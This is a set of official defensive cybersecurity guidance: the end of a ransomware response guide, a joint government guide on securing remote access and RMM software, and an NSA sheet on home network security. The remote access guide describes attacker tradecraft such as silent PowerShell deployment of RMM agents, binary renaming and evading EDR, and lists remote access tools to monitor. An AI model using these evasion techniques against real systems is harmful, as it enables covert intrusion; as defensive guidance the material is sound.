+Recovery and Post-Incident Activity + 19. Reconnect systems and restore data from offline, encrypted backups based on a +prioritization of critical services. + Take care not to re-infect clean systems during recovery. For example, if a new Virtual +Local Area Network (VLAN) has been created for recovery purposes, ensure only clean +systems are added. + 20. Document lessons learned from the incident and associated response activities to +inform updates to +and refine +organizational policies, plans, and procedures and guide future +exercises of the same. + 21. Consider sharing lessons learned and relevant indicators of compromise with CISA +or your sector ISAC to benefit others within the community. +Page | 27 +TLP:CLEAR +TLP:CLEAR +Contact Information +In responding to any cyber incident, Federal agencies will undertake threat response; asset response; +and intelligence support and related activities. +What You Can Expect: +Specific guidance to help evaluate and remediate ransomware incidents. +Remote assistance to identify the extent of the compromise and recommendations for +appropriate containment and mitigation strategies (dependent on specific ransomware variant). +Phishing email, storage media, log, and malware analysis based on voluntary submission. Fulldisk forensics can be performed on an as-needed basis. +Assistance in conducting a criminal investigation, which may involve collecting incident artifacts, +including system images and malware samples. +Federal Asset Response Contacts +Upon voluntary request, federal asset response includes furnishing technical assistance to affected +entities to protect their assets, mitigate vulnerabilities, and reduce impacts of cyber incidents; +identifying other entities that may be at risk and assessing their risk to the same or similar +vulnerabilities; assessing potential risks to the sector or region, including potential cascading effects, +and developing courses of action to mitigate these risks; facilitating information sharing and operational +coordination with threat response; and providing guidance on how best to utilize Federal resources and +capabilities in a timely, effective manner to speed recovery. +CISA: +cisa.gov/report +Central@cisa.gov or call (888) 282-0870 +Cybersecurity Advisor (cisa.gov/cisa-regions): [Enter your local CISA CSA +phone number and email address.] +MS-ISAC: +For SLTTs, email soc@msisac.org or call (866) 787-4722 +Federal Threat Response Contacts +Upon voluntary request, or upon notification of partners, federal threat response includes conducting +appropriate law enforcement and national security investigative activity at the affected entity +s site; +collecting evidence and gathering intelligence; providing attribution; linking related incidents; +identifying additional affected entities; identifying threat pursuit and disruption opportunities; +developing and executing courses of action to mitigate the immediate threat; and facilitating +information sharing and operational coordination with asset response. +FBI: +fbi.gov/contact-us/field-offices [Enter your local FBI field office POC +phone number and email address.] +FBI Internet Crime Complaint Center (IC3) at ic3.gov +USSS: +Page | 28 +secretservice.gov/contact/field-offices/ [Enter your USSS field office POC +phone number and email address.] +TLP:CLEAR +TLP:CLEAR +Other Federal Response Contacts +NSA: +Cybersecurity Collaboration Center Services and Contact Information +Other Response Contacts +Consider filling out Table 1 for use should your organization become affected by ransomware. Consider +contacting these organizations for mitigation and response assistance or for notification. +Table 1: Response Contacts Information +Response Contacts: +Contact +24x7 +Contact +Information +Roles and Responsibilities +IT/IT Security Team + Centralized Cyber Incident +Reporting +Departmental or Elected Leaders +State and Local Law Enforcement +Fusion Center +Managed/Security Service Providers +Cyber Insurance +Page | 29 +TLP:CLEAR +TLP:CLEAR +RESOURCES +CISA No-Cost Resources +Information sharing with CISA and the MS-ISAC (for SLTT organizations) is bi-directional. This +includes best practices and network defense information regarding ransomware trends and +variants as well as malware that is a precursor to ransomware. +Policy-oriented or technical assessments help organizations understand how they can improve +their defenses to avoid ransomware infection: cisa.gov/cyber-resource-hub. +Assessments include no-cost Vulnerability Scanning. +Cyber exercises evaluate or help develop a cyber incident response plan in the context of a +ransomware incident scenario: cisa.gov/resources-tools/services/cisa-tabletop-exercisepackages. +CISA cybersecurity advisors advise on best practices and connect you with CISA resources to +manage cyber risk. +Cyber Security Evaluation Tool (CSET) guides asset owners and operators through a +systematic process of evaluating operational technology (OT) and IT. CSET includes the +Ransomware Readiness Assessment (RRA), a self-assessment based on a tiered set of +practices to help organizations evaluate how well they are equipped to defend and recover from +a ransomware incident. +Contacts: +SLTT and private sector organizations: CISA.JCDC@cisa.dhs.gov +Ransomware Quick References +StopRansomware.gov +a whole-of-government website that gives ransomware resources and +alerts. +Security Primer + Ransomware (MS-ISAC) +outlines opportunistic and strategic ransomware +campaigns, common infection vectors, and best practice recommendations. +Institute for Security + Technology (IST) Blueprint for Ransomware Defense +an action plan for +ransomware mitigation, response, and recovery for small- and medium-sized enterprises. +Additional Resources +NIST: Zero Trust Architecture +CISA: Cloud Security Technical Reference Architecture +CISA: Secure Cloud Business Applications (SCuBA) Project +CISA: Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses +CISA: Protecting Against Cyber Threats to Managed Service Providers and their Customers +NSA: Mitigating Cloud Vulnerabilities (NSA) +Page | 30 +TLP:CLEAR +TLP:CLEAR +DISCLAIMER OF ENDORSEMENT +The information and opinions contained in this document are provided "as is" and without any +warranties or guarantees. Reference herein to any specific commercial products, process, or service by +trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, +recommendation, or favoring by the United States Government, and this guidance shall not be used for +advertising or product endorsement purposes. +PURPOSE +This document was developed in furtherance of the authors + cybersecurity missions, including their +responsibilities to identify and disseminate threats, and to develop and issue cybersecurity +specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +ACKNOWLEDGEMENTS +Microsoft contributed to this joint guide. +Page | 31 +TLP:CLEAR +TLP:CLEAR +GUIDE TO +SECURING REMOTE +ACCESS SOFTWARE +Publication: June 6, 2023 +Disclaimer: This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no +foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR +information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.cisa.gov/tlp/. +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +TABLE OF CONTENTS +OVERVIEW: REMOTE ACCESS SOFTWARE +MALICIOUS USE OF REMOTE ACCESS SOFTWARE +ASSOCIATED TTPS +DETECTION +RECOMMENDATIONS FOR ALL ORGANIZATIONS +RECOMMENDATIONS FOR MSP AND SAAS CUSTOMERS +...8 +RECOMMENDATIONS FOR MSPS AND IT ADMINISTRATORS +RECOMMENDATIONS FOR DEVELOPERS OF +PRODUCTS WITH REMOTE ACCESS CAPABILITIES.. +.....9 +DISCLAIMER +.................10 +ACKNOWLEDGEMENTS +........... +..10 +RESOURCES +..................10 +REFERENCES +................. +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +OVERVIEW: REMOTE ACCESS SOFTWARE +Remote access software and tools comprise a broad array of capabilities used +to maintain and improve IT, operational technology (OT), and industrial control +systems (ICS) services; they allow a proactive and flexible approach for +organizations to remotely oversee networks, computers, and other devices. +Remote access software, including remote administration solutions and remote +monitoring and management (RMM), enables managed service providers +(MSPs), software-as-a-service (SaaS) providers, IT help desks, and other +network administrators to remotely perform several functions, including +gathering data on network and device health, automating maintenance, PC +setup and configuration, remote recovery and backup, and patch management. +Remote access software enables a user to connect to and access a +computer, server, or network remotely. +Remote administration solution is software that grants +network and application access and administrative control to a +device remotely. +Remote monitoring and management is an agent that is +installed on an endpoint to continuously monitor a machine or +system +s health and status, as well as enabling administration +functions. +Legitimate use of remote access software enables efficiency within IT/OT +management +allowing MSPs, IT help desks, and other providers to maintain +multiple networks or devices from a distance. It also serves as a critical +component for many business environments, both small and large +empowering IT, OT, and ICS professionals to troubleshoot issues and play a +significant role in business continuity plans and disaster recovery strategies. +[1] However, many of the beneficial features of remote access software make it +an easy and powerful tool for malicious actors to leverage, thereby rendering +these businesses vulnerable. +This guide, authored by the Cybersecurity and Infrastructure Security Agency +(CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), +Multi-State Information Sharing & Analysis Center (MS-ISAC), and Israel +National Cyber Directorate (INCD), with contributions from private sector +partners listed on page 10, provides an overview of common exploitations +and associated tactics, techniques, and procedures (TTPs). It also includes +recommendations to IT/ OT and ICS professionals and organizations on best +practices for using remote capabilities and how to detect and defend +against malicious actors abusing this software. +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +MALICIOUS USE OF REMOTE ACCESS SOFTWARE +Remote access software provides IT/OT teams with flexible ways to detect anomalous network or device issues +early on and proactively monitor systems. Cyber threat actors are increasingly co-opting these same tools for easy +and broad access to victim systems. While remote access software is used by organizations for legitimate +purposes, its use is frequently not flagged as malicious by security tools or processes. Malicious actors exploit this +by using remote access software to establish network connections through cloud-hosted infrastructure while +evading detection. This type of intrusion falls into the category of living off the land (LOTL) attacks, where inherently +malicious files, codes, and scripts are unnecessary, and cyber threat actors use tools already present in the +environment to sustain their malicious activity. For additional information and examples of LOTL attacks, see the +joint Cybersecurity Advisory People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade +Detection. +RMM software in particular has significant capabilities to monitor or operate devices and systems as well as attain +heightened permissions, making it an attractive tool for malicious actors to maintain persistence and move +laterally on compromised networks. This enables MSPs or IT help desks to monitor multiple devices and networks +at once, however these same features also make managing multiple intrusions easier for cyber threat actors. In this +way, remote access software has become a common, high-value instrument for cyber threat actors, especially +ransomware groups. Small- and mid-sized businesses rely on MSPs and the use of various types of remote access +software to supplement their own IT, OT, and ICS infrastructures, and scale network environments without having +to develop those capabilities internally. This makes businesses that much more vulnerable to service provider +supply chain compromises, exploitation, or malicious use of remote capabilities. +Remote access software is particularly appealing to threat actors because the software: +Does not always trigger security tools. Remote access software is often used for legitimate purposes, so it +generally blends into the environment and does not trigger antivirus (AV), antimalware, or endpoint +detection and response (EDR) defenses. RMM software is signed with valid code signing certificates issued +by trusted certificate authorities, meaning that it will not appear inherently suspicious to AVs and EDRs. +Often RMM install paths are excluded from EDR inspection. +Does not require extensive capabilities development. Remote access software enables cyber threat +actors to avoid using or developing custom malware, such as remote access trojans (RATs). The way remote +access products are legitimately used by network administrators is similar to how malicious RATs are used +by threat actors. [2] +May allow actors to bypass software management control policies. While a bypass or exclusion can be +required, remote access software also can be downloaded as self-contained, portable executables that +enable actors to bypass both administrative privilege requirements and software management control +policies. +Note: Portable executables launch within the user +s context without installation. Additionally, because +the use of portable executables often does not require administrator privileges, they can allow +execution of other unapproved software, even if risk management controls may be in place to audit or +block the same software +s installation on the network. Threat actors can leverage a portable +executable with local user rights to attack other vulnerable machines within the local intranet or +establish long-term persistent access as a local user service. +Could allow actors to bypass firewall rules. In addition to bypassing software management controls, many +remote management agents use end-to-end encryption. This could allow a threat actor to download files that +would typically be detected and blocked at the firewall. +Can facilitate multiple cyber intrusions. Remote access software enables threat actors to manage multiple +intrusions at once. In addition, initial access brokers may sell network access to many different +cybercriminals, enabling multiple intrusions to the same network, as well as expanding the reach and ability +of these cyber threat actors. If these actors first compromise an MSP, they could gain access to a large +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +number of the affected MSP +s customers + networks and data. +ASSOCIATED TTPS +Cyber threat actors use remote access software for initial access, maintaining persistence, deploying additional +software and tools, lateral movement, and data exfiltration. As such, remote access software + and RMM in +particular +is often used by cybercriminals in ransomware incidents, and in certain APT campaigns. For an example +of APT usage, see the joint Cybersecurity Advisory Iranian Government- Sponsored Actors Conduct Cyber +Operations Against Global Government and Commercial Networks +Before leveraging remote access software as part of an intrusion, cyber actors may exploit vulnerable software. +This may include exploiting legitimate servers that are then leveraged for malicious purposes. It may also include +general network exploitation activities such as installing or placing remote access client software for persistence. +Threat actors may also obtain legitimate, compromised remote access software credentials that ultimately enable +them to exercise control over remote endpoints associated with the compromised account. Once initial access is +obtained threat actors often use PowerShell or similar command line tools to silently deploy the RMM agent. Often, +threat actors leverage multiple RMM mechanisms at once. Sometimes malicious actors also use RMM software in +concert with commercial penetration testing tools such as Cobalt Strike or remote access malware to enable +multiple, often redundant, forms of access to ensure persistence. +Threat actors use remote access software to perform multiple functions and carry out several commonly +associated TTPs (e.g . credential dumps and escalating privileges.) See Table 1 for common tactics and techniques +mapped to the MITRE ATT&CK + for Enterprise framework, version 13. Note: For assistance with mapping threat +activity to the MITRE ATT&CK framework, see CISA +s Best Practices for MITRE ATT&CK Mapping Guide and Decider +Tool. MITRE also provides tactics and techniques specific to ICS, which can be found in the ICS Matrix. +Table 1: Common Threat Actor MITRE ATT&CK Tactics and Techniques +RESOURCE DEVELOPMENT +Technique Title +Obtain Capabilities: +Tool +T1588 .002 +Threat actors can obtain software capabilities by buying, stealing, or +downloading tools and using them for capabilities other than their intended +use. +INITIAL ACCESS +Technique Title +External Remote +Services +T1133 +Threat actors exploit externally-facing remote services, such as virtual +private networks (VPNs), to enable initial access and persistence into a +network from remote locations. +Supply Chain +Compromise +T1195 +Threat actors manipulate legitimate RMM software with modified versions. +Phishing +T1566 +Threat actors have used phishing campaigns to lead victims to download +legitimate RMM software. For more information, see the joint Cybersecurity +Advisory Protecting Against Malicious Use of Remote Monitoring and +Management Software. +Valid +Accounts +T1078 +Threat actors may exploit vulnerable versions of remote access software or +use legitimate, compromised credentials. +Trusted +Relationship +T1199 +Threat actors may leverage third party relationships to gain initial access to +intended victims. +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +EXECUTION +Technique Title +Command and +Scripting Interpreter: +PowerShell +T1059 .001 +Threat actors may use PowerShell to silently deploy remote access +software. Industry has observed PowerShell being used to install RMM +itself. +DEFENSE EVASION +Technique Title +Masquerading +T1036 +Industry has observed cyber threat actors renaming a NetSupport binary to +ctfmon.exe.[2] +DISCOVERY +Technique Title +Remote System +Discovery +T1018 +Remote access software may allow threat actors to find lists of other +systems on a network that may be used for lateral movement from the +current system. +LATERAL MOVEMENT +Technique Title +Remote Service +Session Hijacking +T1563 +Threat actors may exploit existing remote services to move laterally +throughout a network. +Remote Services +T1021 +Threat actors may exploit valid accounts to log into a network or service +designed to accept remote connections. +Exploitation of Remote +Services +T1210 +Threat actors may exploit remote services to gain unauthorized access to +internal systems to move laterally throughout a network. +COMMAND AND CONTROL +Technique Title +Remote Access +Software +T1219 +CISA | NSA | FBI | MS-ISAC | INCD +Threat actors may establish command and control channels using +legitimate remote access software. +TLP:CLEAR +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +DETECTION +Network administrators and defenders should first establish a security baseline of normal network activity; in other +words, it is critical for network defenders to be thoroughly familiar with a software +s baseline behavior in order to +recognize abnormal behavior and detect anomalous and malicious use. Network defenders should correlate +detected activity with other suspicious behavior to reduce false positives. +The authoring agencies recommend that organizations monitor for unauthorized use of remote access software +using EDR tools. Remote access software cyber threat actors may leverage includes, among others, the following: +ConnectWise Control (formerly ScreenConnect) +Pulseway +Anydesk +RemotePC +Remote Utilities +Kaseya +NetSupport +GoToMyPC +Splashtop +N-Able +Atera +Bomgar +TeamViewer +LogMeIn +Zoho Assist +Remote access software geared toward OT networks includes, among others, the following: +BeyondTrust (Bomgar) +Claroty +PCAnywhere +Xage +XONA Systems +Zscaler +REPORTING +U.S. organizations: To report suspicious or criminal activity related to information found in this joint guidance, +contact your local FBI field office at fbi.gov/contact-us/field-offices or report the incident to the FBI Internet +Crime Complaint Center (IC3) at ic3.gov. When available, please include the following information regarding the +incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment +used for the activity; the name of the submitting company or organization; and a designated point of contact. To +request incident response resources or technical assistance related to these threats, contact CISA at +Report@cisa.dhs.gov. For NSA cybersecurity report feedback, contact CybersecurityReports@nsa.gov. SLTT +organizations should report incidents to MS-ISAC (866-787-4722 or SOC@cisecurity.org). +Israeli organizations: Contact the CERT-IL center hotline for cyber incident handling by calling +119, + 24 hours a day, or via +e-mail at 119@cyber.gov.il, or via encrypted e-mail download pgp key. To contact the International Operative Liaison for +CERT-to-CERT engagement, email International@cyber.gov.il. +RECOMMENDATIONS FOR ALL ORGANIZATIONS +The authoring agencies recommend that organizations, specifically MSPs who leverage this software to conduct +regular business, implement the mitigations below to defend against malicious use of remote access software. +Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA +and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and +protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing +cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, +techniques, and procedures. Visit CISA +s Cross-Sector Cybersecurity Performance Goals for more information on +the CPGs, including additional recommended baseline protections. For additional information, see the related joint +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +Cybersecurity Advisory, Protecting Against Malicious Use of Remote Monitoring and Management Software. +ARCHITECTURE, ACCOUNTS, AND POLICY RECOMMENDATIONS + Maintain a robust risk management strategy based on common standards, such as the National +Institute of Standards and Technology Cybersecurity Framework. +When possible, employ zero trust solutions +or least-privilege-use configuration +which can be +endpoint- or identity-based. +Implement a user training program and phishing exercises to raise users + awareness of the risks +of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments +[CPG 2 .I]. +See CISA +s Enhance Email & Web Security. +Work with a security operations center (SOC) team that can assist with monitoring systems [CPG 1 .B]. +Audit Active Directory for inactive and obsolete accounts or misconfigurations. +Enable just-in-time access and/or two-factor authentication based on the level of risks. +Use safeguards for mass scripting and a script approval process. For example, if an account attempts to +push commands to 10 or more devices within an hour, retrigger security protocols, such as multifactor +authentication (MFA), to ensure the source is legitimate [3] +Use a software bill of materials (SBOM) to maintain an inventory of components within a software +product. For more information on SBOM, see CISA +s Software Bill of Materials (SBOM) | CISA. +Leverage external attack surface management (EASM) to enhance visibility across systems and +infrastructures. EASM provides continuous monitoring to determine unknown assets, provide information +about systems, and aid in compliance by identifying non-compliant technology, missing legal disclaimers, +and expired copyright notices. +HOST-BASED CONTROLS + Audit remote access software and their configurations on devices on your network to identify +currently used and/or authorized RMM software [CPG 1 .A]. +Use security software to detect instances of RMM software only being loaded in memory. +Review logs with complete data, including executing binary, request types, IP addresses, and date/ time, +for execution of remote access software to detect abnormal use of programs running as a portable +executable [CPG 2 .T]. +Implement application controls, including zero-trust principles and segmentation, to manage and control +execution of software, including allowlisting RMM programs and limiting actions the software can take [CPG +2 .Q]. +Establish a regular frequency for patching, prioritizing software and systems that directly access or are +accessed from the Internet, including remote access and management servers and agents. +NETWORK-BASED CONTROLS + Implement network segmentation to minimize lateral movement and restrict access to devices, data, and +applications [CPG 2 .F]. +See CISA +s Layering Network Security Through Segmentation. +Block both inbound and outbound connections on common RMM ports and protocols at the network +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +perimeter and enforce only legitimate use of the tools employing those ports. Remote access software +should have local instances in the environment and avoid operating over HTTPS port 443. +Require authorized RMM solutions only be used from within your network over approved remote access +solutions, such as VPNs or virtual desktop interfaces (VDIs) [CPG 2 .F]. +Enable a web application firewall (WAF) to protect remote access software by filtering and +monitoring HTTP traffic [CPG 2 .K]. +While this mitigation is valuable, the authoring agencies recommend IT administrators test before +deploying in a production environment, WAFs have been known to disrupt normal operation of +remote access tools. +RECOMMENDATIONS FOR MSP AND SAAS CUSTOMERS +The authoring agencies recommend MSP and SaaS customers: +Ensure that they have a thorough understanding of the security services their administrators are +providing via the contractual arrangement and address any security requirements that fall outside the +scope of the contract. Note: Contracts should detail how and when MSPs and other providers notify the +customer of an incident affecting the customer +s environment. +Enable effective monitoring and logging of their systems. If customers choose to engage an MSP or +SaaS provider to perform monitoring and logging, they should ensure that their contractual +arrangements require their providers to [CPGs 1 .I, 1 .G, 1 .H]: +Implement comprehensive security event management that enables appropriate monitoring and +logging of provider-managed customer systems. +Provide visibility +as specified in the contractual arrangement +to customers of logging activities, +including provider +s presence, activities, and connections to the customer networks Note: Customers +should ensure that MSP accounts are properly monitored and audited. +Notify MSP of confirmed or suspected security events and incidents occurring on the provider +infrastructure and administrative networks and send these to a SOC for analysis and triage. +Keep direct access to log servers +and the ability to delete or alter logs +out of reach of RMM tools. +RECOMMENDATIONS FOR MSPS AND IT ADMINISTRATORS +MSPs and other IT administrators provide services that usually require both trusted network connectivity and +privileged access +or special access beyond that of a standard user-- to and from customer systems. Many +organizations +ranging from large critical infrastructure organizations to small- and mid-sized businesses +MSPs to manage information and communications technology (ICT) systems, store data, or support sensitive +processes. Many organizations make use of MSPs to scale and support network environments and processes +without expanding their internal staff or having to develop the capabilities internally. +Recommended mitigations for initial compromise attack methods include: +Improving the security of vulnerable devices and hardening appliances to vendor best practices. For more +information, see the joint Cybersecurity Information Sheet Selecting and Hardening Remote Access VPN +Solutions. +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +Adopting of MFA across all customer services and products [CPG 2 .H]. Note: MSPs should also +implement MFA on all accounts that have access to customer environments and should treat those +accounts as privileged. +Configuring +reduced privilege + RMM tools for common uses, like read-only monitoring. +Managing internal architecture risks and segregating internal networks [CPG 2 .F]. +While zero trust is the ultimate goal, segregating customer data sets (and services, where applicable) +from each other +as well as from internal company networks +can limit the impact of a single vector of +attack [CPG 2 .F]. +Do not reuse admin credentials across multiple customers [CPG 2 .E, 2 .C]. +Avoid using end-of-life (EOL) software. +Additionally, when negotiating the terms of a contract with customers, providers should give clear explanations of the +services the customer is purchasing, services the customer is not purchasing, and all contingencies for incident +response and recovery [CPG 1 .G, 1 .H]. +RECOMMENDATIONS FOR DEVELOPERS OF PRODUCTS WITH +REMOTE ACCESS CAPABILITIES +The authors recommend providers ensure their products: +Include lower privilege versions and avoid executive/administrative privileges. For example, develop readonly monitoring capabilities where certain accounts can only view information from a system, but cannot +implement changes to a system. +Monitor their software and terms of service violations by cyber threat actors engaging in computer +network intrusions; in particular, free trial versions are often abused by cybercriminal threat actors. +Provide audits and logs that are difficult to delete and remove. +Additionally, the authoring agencies recommend developers: +Incorporate threat modeling into their development processes to identify potential vulnerabilities. During +development, promote fuzzing of command-line interface (CLI) commands and open network interfaces to +detect vulnerabilities. +Map practices to the Secure Software Development Framework (SSDF), which can assist in aligning products +with sound and secure fundamentals, and in turn, help reduce potential vulnerabilities as well as the +possible impact of undetected exploitation. +Use advanced monitoring and incident response capabilities, which help to operationalize OT/ ICS threat +detection and response for cybersecurity teams lacking expertise/infrastructure or budget to deploy full +on-prem OT-specific cyber threat monitoring and management programs. +For more information for developers and manufacturers on building security principles into their products, see the +joint guidance Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security- by-Design and Default. +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +GUIDE TO SECURING REMOTE ACCESS SOFTWARE +TLP:CLEAR +DISCLAIMER +The information in this report is being provided +as is + for informational purposes only. CISA, NSA, FBI, MS-ISAC, +and INCD do not endorse any commercial product or service, including any subjects of analysis. Any reference to +specific commercial entities or commercial products, processes, or services by service mark, trademark, +manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoritism by CISA, +NSA, FBI, MS-ISAC, and INCD. +ACKNOWLEDGEMENTS +CNWR, ConnectWise, Corporate Information Technologies, Google, Honeywell, Huntress, (ISC) + Inc., N-Able, Tenable, and +VMware contributed to this guidance. +RESOURCES +CISA +s Cross-Sector Cybersecurity Performance Goals +CISA Strategic Plan 2023-2025 +Protecting Against Malicious Use of Remote Monitoring and Management Software | CISA +Joint CSA Protecting Against Cyber Threats to Managed Service Providers and their Customers +CISA Insights Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses +Protecting Against Cyber Threats to Managed Service Providers and their Customers | CISA +Joint Guidance Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-byDesign and -Default +People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection + What is RMM (connectwise.com) +What Is Remote Monitoring and Management (RMM)? (intel .com) +Remote monitoring and management abuse - Threat Detection Report (redcanary .com) +REFERENCES +[1] https://www .ninjaone .com/blog/what-is-remote-access-software-guide-2023/ +[2] Remote access tool or trojan? How to detect misbehaving RATs (redcanary .com) +[3] https://level .io/blog/how-to-secure-rmms +CISA | NSA | FBI | MS-ISAC | INCD +TLP:CLEAR +TLP:CLEAR +National Security Agency | Cybersecurity Information Sheet +Best Practices for Securing Your Home Network +Executive summary +Don't be a victim! Malicious cyber actors may leverage your home network to gain +access to personal, private, and confidential information. Help protect yourself, your +family, and your work by practicing cybersecurity-aware behaviors, observing some +basic configuration guidelines, and implementing the following mitigations on your home +network, including: +Upgrade and update all equipment and software regularly, including routing +devices +Exercise secure habits by backing up your data and disconnecting devices when +connections are not needed +Limit administration to the internal network only +Figure: Several best practices for securing your home network +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Recommendations for device security +Electronic computing devices, including computers, laptops, printers, mobile phones, +tablets, security cameras, home appliances, cars, and other +Internet of Things + (IoT) +devices must all be secured to reduce the risk of compromise. Most home +entertainment and utility devices, such as home monitoring systems, baby monitors, IoT +devices, smart devices, Blu-ray + players, streaming video players, and video game +consoles, are capable of accessing the Internet, recording audio, and/or capturing +video. Implementing security measures can ensure these devices don +t become the +weak link in your home protection. +Upgrade to a modern operating system and keep it up-to-date +The most recent version of any operating system (OS) contains security features not +found in previous versions. Many of these security features are enabled by default and +help prevent common attack vectors. Increase the difficulty for an adversary to gain +privileged access by using the latest available and supported OS for desktops, laptops, +and smart devices. IoT devices on a home network are often overlooked, but also +require updates. Enable automatic update functionality when available. If automatic +updates are not possible, download and install patches and updates from a trusted +vendor on a monthly basis. +Secure routing devices and keep them up-to-date +Your Internet Service Provider (ISP) may provide a modem/router as part of your +service contract. To maximize administrative control over the routing and wireless +features of your home network, consider using a personally owned routing device that +connects to the ISP-provided modem/router. In addition, use modern router features to +create a separate wireless network for guests, for network separation from your more +trusted and private devices. +Your router is the gateway into your home network. Without proper security and +patching, it is more likely to be compromised, which can lead to the compromise of +other devices on the network as well. To minimize vulnerabilities and improve security, +the routing devices on your home network should be updated to the latest patches, +preferably through automatic updates. These devices should also be replaced when +they reach end-of-life (EOL) for support. This ensures that all devices can continue to +be updated and patched as vulnerabilities are discovered. +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +Implement WPA3 or WPA2 on the wireless network +To keep your wireless communications confidential, ensure your personal or ISPprovided WAP is capable of Wi-Fi Protected Access 3 (WPA3). If you have devices on +your network that do not support WPA3, you can select WPA2/3 instead. This allows +newer devices to use the more secure method while still allowing older devices to +connect to the network over WPA2. +When configuring WPA3 or WPA2/3, use a strong passphrase with a minimum length of +twenty characters. When available, protected management frames should also be +enabled for added security. Most computers and mobile devices now support WPA3 or +WPA2. If you are planning to purchase a new device, ensure it is WPA3-Personal +certified. Change the default service set identifier (SSID) to something unique. Do not +hide the SSID as this adds no additional security to the wireless network and may cause +compatibility issues. +Implement wireless network segmentation +Leverage network segmentation on your home network to keep your wireless +communication secure. At a minimum, your wireless network should be segmented +between your primary Wi-Fi, guest Wi-Fi, and IoT network. This segmentation keeps +less secure devices from directly communicating with your more secure devices. +Employ firewall capabilities +Ensure that your personally owned routing device supports basic firewall capabilities. +Verify that it includes network address translation (NAT) to prevent internal systems +from being scanned through the network boundary. Wireless access points (WAP) +generally do not provide these capabilities so it may be necessary to purchase a router. +If your ISP supports IPv6, ensure your router supports IPv6 firewall capabilities. +Leverage security software +Leverage security software that provides layered defense via anti-virus, anti-phishing, +anti-malware, safe browsing, and firewall capabilities. The security suite may be built +into the operating system or available to install as a separate product on computers, +laptops, and tablets. However, some devices, such as home assistants, smart devices, +and other IoT devices, may not support installing security suites. Modern endpoint +detection and response software use cloud-based reputation services for detecting and +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +preventing execution of malware. Full disk encryption should be implemented where +possible on laptops, tablets, and mobile phones to prevent data disclosure if that device +is lost or stolen +many mobile devices enable disk encryption by default and security +software can make it as easy as pushing a button. +Protect passwords +Ensure that passwords and answers to challenge questions are properly protected +since they provide access to personal information. Passwords should be strong, unique +for each account, and difficult to guess. Passwords and answers to challenge questions +should not be stored in plain text form on the system or anywhere a malicious actor +might have access. Using a password manager is highly recommended because it +allows you to use unique, complex passwords without needing to remember them. +Limit use of the administrator account +The highly privileged administrator account can access and potentially overwrite all files +and configurations on your system. Because it can access more files, malware can +more effectively compromise your system if it is executed while you are logged on as an +administrator. To prevent this, create a non-privileged +user + account for normal, +everyday activities, such as web browsing, email access, and file creation/editing. Only +use the privileged account for maintenance, installations, and updates. +Safeguard against eavesdropping +Be aware that home assistants and smart devices have microphones and are listening +to conversations, even when you are not actively engaging with the device. If +compromised, the adversary can eavesdrop on conversations. Limit sensitive +conversations when you are near baby monitors, audio recording toys, home assistants, +and smart devices. Consider muting their microphones when not in use. For devices +with cameras (e.g., laptops, monitoring devices and toys) cover cameras when you are +not using them. Disconnect Internet access if a device is not commonly used, but be +sure to update it when you do use it. +Exercise secure user habits +To minimize ransomware risks, back up data on external drives or portable media. +Disconnect and securely store external storage when not in use. Minimize charging +mobile devices with computers; use the power adapter instead. Avoid connecting +U/OO/119184-23 | PP-23-0270 | FEB 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA | Best Practices for Securing Your Home Network +devices to public charging stations. Leave computers in sleep mode to enable +downloading and installing updates automatically. Regularly reboot computers to apply +the updates. Turn off devices or disconnect their Internet connections when they will not +be used for an extended time, such as when going on vacation. +Limit administration to the internal network only +Disable the ability to perform remote administration on the routing device. Only make +network configuration changes from within your internal network. Disable Universal +Plug-n-Play (UPnP). These measures help close holes that may enable an attacker to +compromise your network. +Schedule frequent device reboots +To minimize the threat of non-persistent malicious code on your personally owned +device, reboot the device periodically. Malicious implants have been reported to infect +home routers without persistence. At a minimum, you should schedule weekly reboots +of your routing device, smartphones, and computers. 